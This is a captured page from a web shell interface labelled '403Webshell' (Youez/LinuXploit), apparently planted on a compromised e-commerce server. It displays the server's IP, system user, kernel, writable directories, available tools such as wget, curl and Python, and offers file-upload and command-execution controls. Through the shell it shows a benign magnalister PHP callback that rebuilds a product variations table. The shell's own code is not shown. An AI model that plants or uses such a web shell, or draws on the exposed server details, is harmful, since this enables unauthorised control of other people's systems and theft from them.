403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/admin/includes/magnalister/php/callback/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/admin/includes/magnalister/php/callback/updateVariationsTable.php
<?php
defined('_VALID_XTC') or die('Direct Access to this location is not allowed.');

/* Variations-Tabelle aufbauen */
define('MP_DEBUG', true);
define('MP_SHOW_WARNINGS', true);

if (!defined('E_RECOVERABLE_ERROR')) define('E_RECOVERABLE_ERROR', 0x1000);
if (!defined('E_DEPRECATED'))        define('E_DEPRECATED',        0x2000);
if (!defined('E_USER_DEPRECATED'))   define('E_USER_DEPRECATED',   0x4000);

require_once(DIR_MAGNALISTER_INCLUDES.'lib/classes/VariationsCalculator.php');

function buildVariationsTable() {

	$skutype = ('artNr' == getDBConfigValue('general.keytype', '0'))?'model':'id';
	$vc = new VariationsCalculator(array(
		'skubasetype' => $skutype, //  [model | id]
		'skuvartype'  => $skutype, //  [model | id]
	));

	$productIdList = MagnaDB::gi()->fetchArray(
		'SELECT products_id FROM '.TABLE_PRODUCTS.' ORDER BY products_id'
	);
	MagnaDB::gi()->query('update '.TABLE_MAGNA_VARIATIONS.' SET variation_quantity = 0');
	foreach ($productIdList as $product) {
		$permutations = $vc->getVariationsByPID($product['products_id']);
		if (!$permutations) continue; # Artikel ohne Varianten
		MagnaDB::gi()->batchinsert(TABLE_MAGNA_VARIATIONS, $permutations, true);
	}
}

buildVariationsTable();

Youez - 2016 - github.com/yon3zu
LinuXploit